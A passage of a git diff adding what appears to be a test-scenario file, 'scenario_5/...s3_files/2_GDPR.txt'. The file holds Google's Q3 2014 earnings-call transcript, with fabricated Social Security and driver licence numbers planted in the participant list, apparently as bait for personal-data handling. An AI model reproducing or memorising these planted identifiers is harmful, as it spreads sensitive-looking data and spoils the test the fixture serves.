clearly our hiring in our tech payrolls or, think of it as, all of our engineering. And that skews to +R&D. So as we bring on people and we push forward the growth of our – we really focus it in the areas that are going +to make a fundamental difference to Google, which is engineering and by doing so, it kind of skews to R&D. So that's +why R&D was maybe a bit higher than expected by some models out there. And so that's one piece. +And then the other one is, I just wanted to reiterate that, I mean, it's very clearly an extraordinary quarter from a hiring +perspective for the comments I've made before. And so, we're kind of clearly seeing that, but at the same time I +wouldn't say that this is clearly a new run rate for us or anything like that. It just happened that most of these kind of +college students end up landing in Q3, and we have the result of a banner year from a hiring perspective. All through, it +takes a year to hire them all, and then they come into this quarter. So that's really the – kind of the two big elements that +have actually flowed, Anthony, through our P&L this quarter. +: Okay, great. Thanks. +: I'll let Omid answer the YouTube question. +: Yes, Anthony. So again, we have a very, very partnership-minded organization here, and +company as a whole. So we view MCNs as, I mean, organizations that are really going to help a developer of great +content, support the creators on YouTube. Just like we are doing that with YouTube Studios, I think MCNs can help a +lot of these become future stars, hopefully, and develop more success. So just, we view it as another form of +partnership that we need to pay attention to and support, so that's how we look at it. +: Thank you, Anthony. Jamie, let's go to our next question, please. +Operator +And we'll go next to Carlos Kirjner with Sanford Bernstein. +: Thank you. I have two questions. Patrick, is CapEx still driven by real estate and +construction? And if you ask, can you explain in a bit more detail what changed about 18 months ago in the way you +acquire real estate and build to drive the inflection in capital-intensity that we have seen? It looks like you operated for +more than 10 years in one way, and then there was a shift that has led to this massive inflection. So what happened +there? +Secondly, do you think that Google Login is adopted or is about to be adopted by large enough number of important +mobile apps for you to be competitive and long term when it comes to offering mobile targeting attribution? And can +you give us an update on developer adoption of deep linking ? Thank you. +: Okay. So I can certainly take the first and let Omid answer the second. I've made that +comment before in the prior quarter, Carlos. The CapEx intensity in our CapEx program has been built by a +combination of, as I mentioned in previous quarters, catching up when we were running too hot in terms of tightening +of capacity. And so, on one side I am very happy that when we kind of really torque our utilization rates, on the other +side it creates a lot of operational issues. And that led us to believe that in fact investing ahead of the curve was actually +a strategic imperative for us to make sure that if we have the extra capacity, we will grow into it. And I mean the +difference between certainly on the data center side, right, the data center construction and machines. And you will +have noticed that this quarter again, the priorities, if you look at the nomenclature I gave, right, construction of data +center is the primary. So it is the core infrastructures, it's groundbreaking, and it is setting up the core infrastructures. +Machine was the second quarter for this quarter, but you'll notice that it for flip flops with real estate. In the case of the +real estate, I mean, you – we have been investing for our campus and otherwise when we see – when we hit this kind of +minimum scale, we need to kind of make investments in real estate. And again with an eye of looking to the long-term +rather than just filling at least for the next 12 months or 24 months, because once you kind of, if you decide you're +going to grow in a place, then need the capacity for multi years, so all of these factors have actually kind of been the +driver for the shift in capital intensity that you have seen over the last 18 months. So that is basically the explanation, +Carlos. +I will let Omid kind of jump on the second question about the mobile question. +: Sure. Thanks, Carlos. +So the AdMob network, which is 900 million unique devices per month, and our own apps are hugely popular, Gmail, +Maps, Google App and YouTube. And our focus is also is helping developers generate app downloads and +reengagement with users who have already downloaded their apps, as I mentioned in my remarks earlier. And we're +really helping drive hundreds of millions of app downloads through app promotion products. Again, the goal here is +that you just search and not worry about where the answer is, is it on a web page or an app? And we have been in this +game for a while. +Four years ago, we acquired AdMob and have continued to invest in this space heavily. And this quarter we launched +the next generation of these app promotion ads across Google Search, Google Display Network and YouTube. So we're +really focused in this area to help the developers and our users. +: I think we can clearly say that we're pretty pleased with the developer adoption of this. They +see huge a huge benefit, so they're actually investing in it. Thank you, Carlos. +: Thank you. +: Jamie, let's go to our next question, please. +Operator +And we'll go next to Douglas Anmuth with JPMorgan. +: Thanks for taking the questions. Just two for Omid. First, you talked about Estimated +Conversions and seeing a 15% increase there. Can you just talk about whether you think that's actually leading to more +spend at this point from advertisers? +And then secondly, are you seeing mobile like-for-like pricing improvements at this point? And what gives you the +confidence in mobile closing the gap with desktop over time? +: Okay. So both are really good questions. They're related really. I think the way this is going +to play out is that I think advertisers are going to, with these tools, be able to just understand conversions better. Where +is it happening? And then the dynamics of how those changes is all the way back to adjusting bids and then paying +attention to where the conversions are coming from. +So again, I think just to maybe highlight some examples for you, the fashion retailer, Express, who is an early tester +found that the overall return on their ad spend doubled when off-line sales were included in the online advertising +results. So we're just continuing to invest here, and get this right. It is too early to figure out the impact exactly on +revenue, but we expect Estimated Total Conversion to help the advertisers truly measure this, and ultimately adjust +their bidding, and just get much more sophisticated in these measurements. I hope that answers. +: And mobile on a like-for-like basis? +: The way we are focused on this is that users really are using the screens interchangeably, +simultaneously throughout the day. And we really are not at this point doing this like-by-like comparisons or comment +on it, because we think it's still early, and we're really focused on just delivering the results, and it took many years, for +example, for the desktop ecosystem to develop the right ad formats, and that really take advantage of the platform. So I +think we just need to continue innovating, experimenting here to get it right. +: Thank you. +: Thanks, Douglas. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark May with Citi. +: Thanks for taking my question. Whether or not there's been quite a bit of attention paid to cloud +services space and Google in particular. Wondering if you can comment a little bit around the traction that you're +getting with compute engine, and what sort of impact that, that is having on revenue expenses and CapEx for the +business. +And then secondly, hoping, I think earlier you made a comment around some changes you've made in mobile that have +impacted some of your network click metrics. So hoping you could elaborate a bit more on that. +: Okay. Do you want me to...? +: Go ahead. +: I will just jump on the cloud, and then the last piece, and then maybe, I wasn't sure what the +very first part of your question, Mark, was. But clearly, cloud is an area that is kind of booming. Right? We know that +the long-term trends are very clear for us, which is the vast majority of businesses, everybody's moving their +infrastructures to the Cloud. So and it is an area where we have fundamentally great assets to contribute to this industry, +both in terms of the flexibility, the cost structure, the technology. And that's why we're investing heavily in there. +We're seeing great progress from an adoption perspective, signing up new customers, and from a CapEx. Obviously, +you need to kind of, that's one of them that as I mentioned on the CapEx story with Carlos a few minutes ago, if you do +take off, and you really get the kind of customer adoption that you expect, if you don't have the capacity in place, it can +have a really important kind of differential in your success. So there is one that we're keeping a pretty close eye on +from a CapEx perspective, and making sure that we have the option value. +On the – the third question was mobile did have network click. Yes. Clicks and CPCs always fluctuate from quarter to +quarter. It just happens that we have, as I mentioned, made some changes this quarter that improved our mobile pricing +while impacting low quality clicks. Sometimes it goes, if you think of a long-term trend in the mobile sector, a piece of +our products, sometimes you kind of put new change in the network, and then it creates a lot of clicks for it, but then +the CPCs are much lower. And then if it doesn't actually create something that's really good for the user, you need to +kind of pull back on it, that's you've heard, for example, parallel to the AFS business. +So it's kind of constantly fluctuating. What's really important to like that is really the combined volume and pricing +growth. And so for us, it's very clear that we're doing some great work in this area, and monetization in the aggregate is +doing very well. That's really what we're, like on a quarter over quarter basis, don't panic about little movements here +and there. You look at the fundamental trends, and that's where we're very pleased. +Did you have a first, was there a first question that I missed, Mark? +: No. I was hoping on cloud that maybe you could put some numbers behind the level of traction +in terms of number of customers, impact on expenses, CapEx, the level of investment in the cloud...? +: I see. Okay. So, I mean, I've given you what I can give you on that. Again, we're really thrilled +by momentum there and our focus in that area. +: Thanks. +: Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Peter Stabler with Wells Fargo Securities. +: Thanks for taking the question. One for Omid. Going back to Estimated Total Conversions, +I'm wondering if we could expect odometry to be integrated into the DoubleClick platform, and how that may or may +not work with the Estimated Total Conversions tool? +And then finally, I'm wondering if you could comment on your work around coming up with a solution that reduces the +dependence upon cookies and perhaps introduces a cross-platform, or cross device ID for Google, and what impact that +could have on the market. Thank you. +: Sure. I think, again, it's early for us to call out odometry. It's a great attribution solution, and +we've been investing in that tool for a long time now, and trying to just get this right by all the innovation that's +happening within Google, and just really understanding the impact of these usage models and between the mobile +devices and desktop. +And so, I think we're going to look at the – everything that's available out there, both what we're developing and +partners out there that we could partner with, and continue to invest here. It's going to take us, I think, a while, just like +we've experienced before with search, to get this right and have a real end-to-end solution for marketers and publishers. +And so, I think you'll see a lot of innovation in this space, what Facebook recently announced another approach, and +we're going to study that and just figure out what is the right set of offerings from us. So I guess unfortunately, I can't +give you a very specific answer here. But I think what you'll see from us is, pay a huge amount of attention here, make +the measurements, see the impact, and then offer a full suite to our customers. +: Yeah, so just basically, too early to speculate on these issues. But clearly it's an area of focus +of the company. +: Thank you. +: Thank you, Peter. Jamie, our next question, please? +Operator +And we'll go next to Heather Bellini with Goldman Sachs. +: Great. Thank you. I had two questions. The first was a follow-up on Google Shopping +Express. I mean, just wondering, when you think about what Amazon is doing with same-day delivery, they're +obviously building these fulfillment centers themselves, which theoretically should give them scale over time. I'm +wondering if you could share with us how you see this evolving for Google over time. +And then a follow-up question would just be related to your comments about payments, and I'm just wondering how +critical is it for Google itself to solve the payment friction that you're seeing with kind of a ubiquitous digital wallet or +would you be fine with a third party doing so for the Android platform? +: Thank you, Heather. I'll take the first and then led Omid answer the second. Clearly, Google +Shopping Express, I mean, there is an issue of scale, and it's a combination of an issue of scale, tools and efficiency. I +mean, that's how you, if you think over time, end up with a product that you can deliver within kind of hours at the +right value and where you can make money. So it's not only about central. I mean, yes, for efficiency you need +centralization, you need a bunch of distribution tools that actually work. We're clearly focused on that as well. I mean, +it is part of the business case that we're building. But you need more than that, right? There's a lot of other elements as +well. So clearly, focused like our competitors would be. +And in our announcements today, again, right, kind of our – was it yesterday? Yesterday's announcements on Shopping +Express kind of tell you that we are investing both for the three new cities to kind of give you a hint of, yes, it's about +scale. So clearly we're focused on that. +: Yeah, and, Heather, on the Wallet question, I think again we're going to continue to be open +here. So we are trying to get it right and innovating on multiple fronts, as I mentioned earlier. And if partnering makes +sense, we'll take a look at it as well. So – and the goal is, here, really to provide this very seamless experience for the +users, and then get the merchant adoption and hopefully get this right. I'm certainly delighted every time I use this and +it works. And I think if we can all get the ecosystem right and there are multiple players in it and partnerships that are +making it happen, we're definitely open to that. +: Thank you, Heather. Let's go to our next question. +Operator +And we'll go next to Paul Vogel with Barclays. +: Yeah, great. Thank you very much. As Google Play has grown, I'm just wondering if you could talk +about the relationships with the carriers and how that's evolving over time. +: Yeah, I can answer that. So essentially, Google Play is doing great. And everybody wants to +kind of be part of this answer. And so for our carriers, I mean, they're really done on a one-by-one basis. So the real +question is, what's the win-win? And so they're all done individually. We have great, great partnerships with many +carriers that actually fuel this, including carrier billing. So all this actually is just a very, very positive ecosystem for us, +and so we're totally thrilled to have these partnerships. And we expect to continue to do so. +: Thanks. +: Thanks, Paul. Jamie, one more question? +Operator +And we'll take our final question from Brian Pitz with Jefferies. +: Great. Thanks for the questions. Two on video for Omid. You mentioned Google Preferred in +your comments. Any color on further expanding the upfront process with the ad agencies? Basically, do you anticipate +that upwards of 5% to 10% of your top inventory could actually be set aside for Preferred, longer-term? +And then just given the shift of off-line TV dollars to online, as you've mentioned, any comments on political, +specifically, or other new categories more aggressively moving onto YouTube? Thanks so much. +: Sure. Thank you, Brian. +So we secured upfront commitments from five top agencies, IPG, OMD, Digitas, Carat, SMG and some major brands +like General Motors and Coca-Cola, and we were actually very, very pleased with how Google Preferred was +experienced and adopted. So I think we're going to definitely continue working on this, and also if you look at our +history, we're very used to it, the selling model that was all about performance, and then as we added properties like +YouTube and brand and mobile, we're just getting, more and more now gaining a better understanding of how to work +in this upfront process, for example, to offer the marketers this incredible asset that we have in YouTube and our +network. +So we're going to just continue getting better on the products side, figure out how to package this inventory better and +then the tools that are needed. And then on the selling side, just get better at also working with the agencies and our +advertisers and marketers to get this type of selling right. +And on the political vertical, I think clients love to use our products as part of their campaigns for federal, local, state +campaigns, and it is a really great area for us. We have, actually, a political sales team that's focused on it, so I think +you'll see more of that effort from us. +: Great. Thanks. +: Thank you very much. +Patrick Pichette +Thanks, Brian. Jamie, that's all the time we have. So if you don't mind, I'd just like to close by reiterating what Omid +said a bit earlier. +This quarter was a great quarter with great momentum again, and I just wanted to thank all the great efforts of our +Googlers around the world who make us look good on this call because of their fantastic efforts. +So with that, Jamie, I'll let you close the call, and have a happy Q4, everyone. +Operator +Thank you. Again, that does conclude today's conference. We do appreciate everyone's participation. + Current Time : 2020.06.14-17.27.50 diff --git a/scenarios/scenario_5/infra/s3_files/2_GDPR.txt b/scenarios/scenario_5/infra/s3_files/2_GDPR.txt new file mode 100644 index 0000000..419c423 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/2_GDPR.txt @@ -0,0 +1,540 @@ +iQ3 2014 Earnings Call +Company Participants +• Ellen West +• Patrick Pichette +• Omid Kordestani + Ronghua Wang * iii +Other Participants +• Eric J. Sheridan +• Justin Post +• Stephen Ju. +• Mark S. Mahaney +• Ross A. Sandler +• Ben Schachter +• Anthony DiClemente +• Carlos Kirjner-Neto +• Douglas T. Anmuth +• Mark A. May +• Peter C. Stabler +• Heather A. Bellini +• Paul Vogel +• Brian J. Pitz +SSN: 431-23-1231 +Driver License: F1121231 +SSN: 431-23-1232 +Driver License: F1121232 +SSN: 431-23-1233 +Driver License: F1121233 +MANAGEMENT DISCUSSION SECTION +Operator April_05_01 +Good day and welcome, everyone, to the Google, Inc. third quarter 2014 earnings conference call. This call is being +recorded. +At this time, I would like to turn the call over to Ellen West, Vice President, Investor Relations. Please go ahead. +Ellen West +Thank you, Jamie. Good afternoon, everyone, and welcome to Google's third quarter 2014 earnings conference call. +With us today are Patrick Pichette and Omid Kordestani. +As you know, you can access our earnings release through our investor relations website located at +investor.google.com, so please refer to our IR website for our earnings releases as well as the supplementary slides that +accompany the call. You can also visit our Google+ Investor Relations page for the latest company news and updates. +This call is also being webcast from investor.google.com. A replay of the call will be available on our website later +today. +Now let me quickly cover the Safe Harbor. Some of the statements that we make today may be considered +forward-looking, including statements regarding Google's future investments, our long-term growth and innovation, the +expected performance of our businesses and our expected level of capital expenditures. These statements involve a +number of risks and uncertainties that could cause actual results to differ materially. +Please note that these forward-looking statements reflect our opinions only as of the date of this presentation and we +undertake no obligation to revise or publicly release the results of any revisions to these forward-looking statements in +light of new information or future events. Please refer to our SEC filings for a more detailed description of the risk +factors that may affect our results. +Please note that certain financial measures that we use on this call, such as operating income and operating margin are +expressed on a non-GAAP basis and have been adjusted to exclude charges related to stock-based compensation and, as +applicable, other special items. +We've also adjusted our net cash provided by operating activities to remove capital expenditures, which we refer to as +free cash flow. Our GAAP results and reconciliations of non-GAAP to GAAP measures can be found in our earnings +press release. +With that, I will now turn the call over to Patrick. +Patrick Pichette +Thanks, Ellen. As some of you may know, we have a new leader in our Investor Relations team at Google. Her name is +Ellen West. That's the great voice you just heard a minute ago, second ago. Ellen is a longtime Googler who joined us +in 2007. Although she's here with us today in Mountain View, she's actually based out of New York, and that will give +us a bit more footprint on the East Coast as well. So Ellen, welcome to the team. +What that, let's dive into the details of Google's financial performance for Q3. Our gross total consolidated revenue +grew a healthy 20% year-over-year to $16.5 billion and was up 4% quarter-over-quarter. Without currency fluctuations, +our gross total consolidated revenue growth would have been 19% year-over-year. Google sites revenue was also up +20% year-over-year to $11.3 billion, and was up 3% quarter-over-quarter driven by the strength in our Mobile Search. +Network revenue was up 9% year-over-year at $3.4 billion and was flat quarter-over-quarter, driven by improved +year-over-year growth in the AdMob and the AdExchange businesses. Finally, Google's other revenue grew a healthy +50% year-over-year to $1.8 billion and was up 15% quarter-over-quarter, this driven by year-over-year growth mainly +from the Play Store, but also complemented by an increase in licensing revenue. +Our global aggregate paid click growth was strong this quarter, up 17% year-over-year and up 2% quarter-over-quarter. +Aggregate CPCs were down only 2% year-over-year and flat quarter-over-quarter. And without currency fluctuations, +aggregate cost-per-click would've been down 1%, and in fact up 1% quarter-over-quarter. As we began to do in our last +earnings call, we continue to disclose paid clicks and cost-per-click changes by property type as well, in addition to the +aggregate number. So to that end, Google Sites paid clicks were up 24% year-over-year and up 4% +quarter-over-quarter. Google Sites CPC were down 4% year-over-year and down 1% quarter-over-quarter. Our +Network paid clicks were up 2% year-over-year and down 4% quarter-over-quarter, and Network CPCs were down 4% +year-over-year but up 2% quarter-over-quarter. Our aggregate monetization metrics continue to be impacted by a +number of factors including geographic mix, device mix, property mix, as well as ongoing product and policy changes. +Turning to geographic performance now, we saw solid performance in the U.S. as well as in the rest of the world. In +our earnings slides, which you can find on our Investor Relations website, you'll see that we've broken down our +revenue by U.S., U.K., and the rest-of-world to show the impact of FX and the benefits of our hedging program, so +please refer to those slides for the exact calculations. U.S. revenue was up 15% year-over-year to $7 billion. The U.K. +was up 17% year-over-year to $1.6 billion, and in fixed FX terms the U.K. grew 10% year-over-year. In the U.K., +growth was impacted by a combination of factors this quarter, including platform and property mix as well as tough +comps from year-over-year and quarter-over-quarter growth rates for a number of reasons including, for example, +weather. Our non-U.S. revenue excluding the U.K. was up 26% year-over-year to $7.9 billion. This accounted for 48% +of total revenue, which includes a $10 million benefit from our hedging program. In fixed FX term in fact, the rest of +the world also grew 26% year-over-year. Very healthy. +Let me now turn to expenses. Traffic acquisition costs were $3.3 billion or 23% of total advertising revenue. Our +non-GAAP other cost of revenue was $2.8 billion in Q3, which excludes stock-based compensation [SBC] and also a +non-cash impairment charge of $378 million related to a patent licensing royalty asset acquired as part of our Motorola +Mobility purchase. Non-GAAP operating expense totaled $5 billion, again excluding SBC, and as a result our +non-GAAP operating profit was $5 billion and our non-GAAP operating margin were 32% in Q3. +Headcount was up roughly 3,000 in Q3. In total, we ended the quarter with approximately 55,000 full-time employees, +and please note that the head count does include still approximately 3,500 full-time employees from the Motorola +business. In the past year, we continued to attract and hire the best talent from the best colleges and universities from +all around the world. Continuing our past trend, graduate starts are much more heavily concentrated in Q3, which is +part of why you're seeing the significant bump in head count, with the majority being tech hires, I want to kind of – +precise. +Our effective tax rate for the quarter was 22% for Q3, and which includes the impact of the impairment charge that I +mentioned earlier, which is a non-deductible for income tax purposes. +Let me turn now to cash management. OI&E, or other income and expenses, was $133 million. Interest income and +realized gains on investments offset the continued impact of expenses from our FX hedging program. And for more +details on OI&E, please do refer to the slides that accompany this call on our IR website. +We continue to be happy with our strong operating cash flow at $6 billion. CapEx for the quarter was $2.4 billion, and +this quarter the majority of the CapEx was related to our data center construction, production equipment, and real estate +purchases, in that order. It's important to remember that our infrastructure supports all of our products, whether they are +core products like search or Ads, Maps or YouTube, but in addition to fueling our growth products like photos, and +Hangouts, Google for Work, and the cloud platform. +If you look at our data center announcements over the last four quarters, you also see that we've been really busy with +both groundbreakings and expansion all around the world, including Finland, Taiwan, Singapore, recently announced +Netherlands, in addition to our ongoing investments in the U.S. In total, our free cash flow was then $3.6 billion. +Before I close, want to give a brief update on Motorola. The team continues to work hard, and we look forward to +seeing them join the Lenovo team soon. Motorola had a great Q3 with strong user reviews for products like the Moto +X, Moto 360, and Moto Hint, clearly demonstrating the impressive momentum of the company. +So there you have it. Strong results with continued strong growth in both revenue and profits, and an optimism that +provides us the confidence to fund strategic growth opportunities, including the usual Android, Chromes, and +YouTube, but also Google for Work, and cloud, to name a few. +Before I hand things over to Omid, I would like to share with you some great news. I am really thrilled to announce +that Omid is now officially Google's Chief Business Officer, and this on a permanent basis. All of us at Google couldn't +be happier to see Omid at his post, running our business organization once again. +And with that, I'll turn it over to him for more details on our performance in the quarter. And after his remarks, as +usual, we will have Jamie open up the lines for your questions. Here you go, Omid. +Omid Kordestani +Thank you very much, Patrick. Hello, everyone. +I'm Omid Kordestani, I am happy to be back at my new, old job, and thank you for joining us this afternoon. I joined +Google back in 1999 to help get our business off the ground, and led our business operations until 2009. Since then, +I've served as an advisor to Larry, and outside Google, actively helped many entrepreneurs. +I'm thrilled to be back at Google leading our global business again. We continue to have the same boundless energy, +and endless curiosity we've always had as a company, and we are as focused as ever on our mission of making +information useful and accessible to everyone. +Case in point. We are really excited about this week's Android Lollipop launch. This is our largest release on Android +ever, with over 5000 APIs for developers. It adds new features, including better notifications, battery life, and security, +and introduces a refreshed, consistent visual style. And alongside the new devices, Nexus 6, Nexus 9, and Nexus +Player, consumers in India who bought the recently announced Android One will get the updates of the latest software +at the same time. +Now I will do a quick walk-through of the business highlights from Q3. As usual, we will give an overview of these +four areas: performance and brand advertising, our advertising platforms and our emerging non-ads businesses. +Let's start with performance advertising, the core of our business. People want the right information at the right time. +They don't want to have to think about whether it is on the web or in an app. We have learned this first hand as a +developer of many services, Maps, YouTube, Gmail, that also are some of the world's most popular mobile apps. +With that in mind, we have a simple goal with performance ads. Help marketers connect with customers at the right +moment to drive measurable results. Our partners have driven hundreds of millions of app downloads with AdMob and +our click to download formats. But most mobile apps are downloaded, used once, and eventually deleted. So we launch +new features to help advertisers reengage with users post download. +For example, advertisers can now deep link from their search ads directly into their mobile apps. To succeed with +multi-screen marketing, advertisers also need modern measurement tools so they can understand when their ads drive +phone calls from customers, result in conversions on other devices, or lead to store visits and purchases. +Last October, we announced Estimated Total Conversions, our effort to help marketers better measure the value of their +multi-screen advertising. We have worked to continue developing this product and launched cross device measurement +for display ads. Clients have already found that mobile display campaigns drive 15% more conversions than they had +previously measured. +Let's shift gears to talk about our shopping efforts. These dovetail nicely with performance ads. We are directly +connecting people with products and services, and then enabling them to buy, and have them delivered. We keep +making improvements to our products to help retailers. +Keeping inventory organized and up-to-date is a constant challenge for retailers. We help them manage this issue by +completing the transition of product listing ads to our shopping campaigns platform. +And finally, people often want to find stores near them to make a purchase in person. We have long had local inventory +ads that enable merchants to show customers this information in the U.S., and we launched these in the U.K., France, +Germany, Japan, and Australia last quarter. In summary, the core of our business, performance advertising, continues to +deliver great results. +Let's move on now to our brand business. Our objective is clear here: make digital the best possible canvas for creative +and effective brand building campaigns. First, let's talk about YouTube. Any conversation about great advertising starts +with great content. On YouTube, stars produce amazing content that our users love, from Bethany Mota, to Smosh to +Mental Floss. +Earlier this year, we launched Google Preferred to help connect brands with premium ad inventory on our most popular +YouTube channels. Since then, we have secured upfront commitments from top media agencies. We're just getting +started with YouTube and its potential. We've sold out the majority of our U.S. Google Preferred offering, which +represents among the top 5% of popular channels inventory on YouTube, and as result of terrific Brandcast events in +Germany, France, U.K., and Australia, we're seeing tremendous interest from local agency partners around the world. +Last quarter, we also saw some great progress in our brand efforts beyond YouTube. We launched new ad formats +customized for mobile screens. We also announced an expansion of YouTube's TrueView ads into AdMob's network of +more than 650,000 mobile apps. Every day, our teams work to develop both the products and terrific partner +relationships that enable us to tackle any digital marketing challenge across multiple channels together. +With encouragement from Google and YouTube, ABC executed a digital-first marketing plan for their new fall TV +lineup. The effort included custom five second ads for TrueView and collaborations with homegrown YouTube stars. +We are very excited about the new deal with Mondelez and Starcom MediaVest. This global agreement will focus on +video and display and is Mondelez's largest digital medial deal ever. +Next let's take a look at one of the fastest-growing parts of the digital advertising world, programmatic platforms for +agencies and publishers. For many years now, our goal has been to provide world-class technology for brands, +agencies, and publishers to power their ad businesses. Today, our DoubleClick suite is used by all major agencies, and +we are particularly focused on multi-screen and video. +DoubleClick Bid Manager is the go-to tool for marketers and agencies to navigate the rapidly growing programmatic +advertising space. It's doubled in size year-over-year by impression volume, and we really love the progress we see +here. +For publishers, we help them make money from the content via our publisher tools, from our Ad Exchange to +customized private exchanges which complement our core offerings. This quarter, we signed new private advertising +exchange deals with publishers like Fox TV and Edmonds. This helps publishers generate revenue from premium ad +space. We have nearly doubled the number of private exchanges running on our system year-over-year. +Finally, we are seeing remarkable momentum in our newer non-ads businesses. Whether it's Play, Hardware or Google +for Work, we continue to see strong growth and we're thrilled to be the platform for our partners successes as well. +Google Play's growth continues to impress. It's a linchpin of the amazing Android ecosystem. We brought Play Music +to 17 new countries, bringing the total to 45, and our expansion continues. Today, Play Movies is available in 93 +countries, and Play Books is available in 61 countries. +On the hardware front, just yesterday, we unveiled three fantastic new Nexus devices: Nexus 6 phone, Nexus 9 tablet, +and Nexus Player, an Android-powered streaming media player. +This quarter we worked with HP, Toshiba and Acer to introduce five new Chromebook devices, and teamed up with +ASUS, LG, Motorola, Samsung, and Sony to help launch new Android Wear devices. We're also selling Chromebook +in six new countries. They are now available in 31 countries around the world. And we sold more than 1 million +Chromebooks for education this quarter, even more than last quarter. +Chromecast celebrated its first birthday this past quarter. It's been a smashing success. Users have hit the cast button +more than 400 million times since it launched to enjoy their favorite sports, music, premium movies, and TV shows. In +September, we added even more content to Chromecast including Disney content. +And we were so proud to launch Android One, an effort to make high-quality, low-cost smartphones available to as +many people as possible. We started in India and will be expanding to other countries, including Indonesia and the +Philippines, in the coming months. +For businesses, what was called Google Enterprise is now simply Google for Work. This business has great traction. In +addition to the tremendous growth in our Apps business, we have more than 1,800 sign-ups for Google Drive for Work +every week, plus there are almost a quarter of a billion active Google Drive users, including consumer, education and +business users. +We continue to invest in our growing cloud platform business, helping developers realize the promise of cloud +computing, by providing affordable on-demand access to world-class technology. We recently announced Google +Cloud Platform for Startups, and offer up to $100,000 in credits to enable the best and brightest startups to use Google's +Cloud platform. +Sony Music recently built an interactive app in less than three weeks using App Engine to engage fans tuning into One +Direction Day, an eight-hour YouTube live stream featuring the band, one of the largest ever YouTube music live +streams. +Lastly, our Marketing team had a great quarter as well. Google My Business helped more small businesses get online, +and our Art, Copy & Code projects showed advertisers the creative potential of digital marketing. And from the annual +Google Science Fair to more recent campaigns showcasing amazing content on Play, YouTube Stars, and the power of +the Google App, the magic of Google was on prominent display. +All told, it was another terrific quarter at Google, continued momentum in our core business, and exciting innovation in +new areas. Kudos to the Googlers around the world who made it all happen. +I'll turn it over to Patrick to wrap up and start our Q&A. +Patrick Pichette +Thank you, Omid. So, Jamie, if you want to give us the instructions, and we'll get going on the Q&A. +Q&A +Operator +Thank you. [Operator Instructions] And we'll take our first question from Eric Sheridan with UBS. +: Thanks for taking the questions. So first one, maybe with the announcement that you're +expanding Google Shopping Express into other cities and rebranding it and new retailers are coming on, wanted to see +what you saw in those first few cities to think about extending it further into the other cities, and what you might be +hearing from feedback from retailers about adopting the platform, because a few also dropped off the platform at the +same time. I just wanted to get a little bit better color about how that was developing and how you're going to go +forward with it. Thanks. +: Thank you very much, Eric. So we're really trying to learn a lot here. Innovation is a messy +process, and especially with Google Express here, there's a lot of understanding that we need to have on improving +efficiency in the logistics process, trying to find price points that shoppers find attractive, and our goal is really to help +the 35 – over 35 merchant partners succeed and reach their customers. And I am a user of it, and I'm really impressed +by how much time it saves. I see the cars running around the city, around me. And I think our goal is really to take it a +step at a time and see the success, understand the logistics – logistical operations, how much it costs us to do this, and +can we deliver this basically in a successful way. +: Just, Eric – just a couple of, kind of, additional points. One is, clearly we've announced this +week three other cities. So if you go back to the fundamental premise of kind of the argument we tabled which is – the +first thing was, would people show up and want this product? It's very clear people want this product. The second one +was – and that's why we're expanding the product. +The second question then is, we've had a lot of questions about monetization, and we've announced this week we're +taking real actions on the monetization service, both including commissions on these transactions for merchants, but +also service fees that were announced as well. +So from that perspective, we kind of think of it as now we're in phase two of this product where, according to our +business plan, right, we continue to kind of look for the barriers, the milestones. And then when we hit those +milestones, then we with enthusiasm keep on going. +All this to say, it is nevertheless a scale business so working on efficiencies, working on all of the issues that are related +to logistics, continues to be a big focus of ours. On the partners, we're really thrilled to have the partners we have. You +can expect as we kind of grow through this, that we have a few coming in, more coming in, few coming out. But +overall, very, very pleased with the trajectory there. I think you should see the announcements of this week as just kind +of a sign of optimism and momentum in it. +Thank you so much for your question, Eric. +: Great. +: Jamie, let's go to our next question. +Operator +And we'll go next to Justin Post with Merrill Lynch. +: Thank you. I'm wondering if you could help us at all, segregate the Search business from other +items in Google website, and just give us your view on the health of the Search business. And then comment a little bit +on that paid click deceleration. What is driving that, and do you even see that as an important metric? Thank you. +: So I'll take that. The two points is one, look, we don't give the breakdown of the Google Sites. +But actually, it's pretty healthy on all dimensions. I think that from that perspective, search is going well, and all of the +other dimensions of our Sites is actually doing pretty well. That's what you see in our kind of 20% year-over-year, just +for Sites, growth. So from that perspective, I think that we're pretty happy on that front. +On the CPC issue, it's pretty simple. I mean, we really had, again, you have to think of the CPC and the volume as one +basket that actually delivers. So monetization overall is still very strong. We're very happy with the monetization, +Jamie, and if we have in one quarter kind of movements between one or the other, that is just basically the continued +experimentation and the impact of all of the factors that I usually talk about. So from that perspective, there's nothing of +noteworthy to kind of mention this quarter. We are very happy with the trends in both cases. +: Thank you. +: Thanks, Jamie. Jamie, we'll go to our next question. Sorry, Justin I meant. Jamie, we'll go to +our next question. +Operator +And we'll go next to Stephen Ju with Credit Suisse. +: Thanks. I think in the past you've talked about the opportunity cost not being there for the user +when they're trying to access your products and services, as a rationale for making investments. So is there any data +you can show on your newest users in the emerging markets who are going straight to mobile? Is it safe to assume that +consumption from these new users are running at a pretty similar growth trajectory with what you've seen historically +on a desktop and as well as your established markets or is their engagement with all of your products more intense? +And is there anything you can say in terms of what areas of your business are seeing the more intense level of +investments? Is it more your consumer focused initiatives or more your enterprise focus cloud initiatives? Thank you. +: So a couple of points there, and then if Omid has additional comments. One is clearly +emerging businesses, emerging markets are just fundamentally different than the more developed markets, right? If you +think of a country like Indonesia, or India where people go straight to mobile and so in that context, there's clearly, a lot +of differences between those markets, and how they are evolving, compared to what would've been 10 years ago in the +U.K. or the U.S. So from that perspective, I think that, and that's why you see us launch things like Android One, right? +When you have just under 2 billion people around the world that have already smartphones, the vast majority of the +population looks for things online. So these kind of initiatives that we're launching I think is the most important piece. +From an investment at Google, we're investing without giving you all the details, we are clearly investing in our core +business, it remains the focus of our activities. But if you look across, right, as Omid mentioned, he mentioned the +Cloud business, the Google for Work business, all of these other areas, the Play business, the hardware business, these +are all areas where we're investing, and we're investing with enthusiasm. With each their own specific business case, +each of them actually looking for what is their growth and profitability models, and we just monitor them pretty tightly. +Okay. +: Thank you. +: You're welcome. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark Mahaney with RBC Capital Markets. +: Hey, Patrick. In describing the Google search strength, you said you saw particular strength +in mobile search. Could you elaborate? +: Yes. No. I mean, look, it's very clear that mobile is still a big part of our growth, and we're +very pleased about it. I mean, but when we talk about mobile, I think that there's a couple of things. One is you have to +continue to look at both, the growth in volume, and the growth in pricing, so these are long-term trends that we're +seeing. The CPCs and the clicks, they can 